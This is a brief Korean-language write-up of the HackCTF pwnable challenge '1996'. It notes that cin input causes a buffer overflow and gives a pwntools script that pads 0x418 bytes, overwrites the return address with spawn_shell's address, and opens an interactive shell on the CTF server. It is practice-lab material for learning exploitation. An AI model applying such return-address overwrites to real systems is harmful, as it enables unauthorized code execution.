[HackCTF : Pwnable] 1996 (200p)

[HackCTF : Pwnable] 1996 (200p)

1996

checksec

입력한 환경변수를 출력해준다.

cin으로 입력받기 때문에 bof가 터진다.

 

spawn_shell

적당히 dummy 주고 spawn_shell을 덮어주면 된다.

 

from pwn import *
 
# p=process("./1996")
p = remote("ctf.j0n9hyun.xyz",3013)
 
payload = "A"*0x418
payload += p64(0x0000000000400897)
 
p.sendline(payload)
p.interactive()

exploit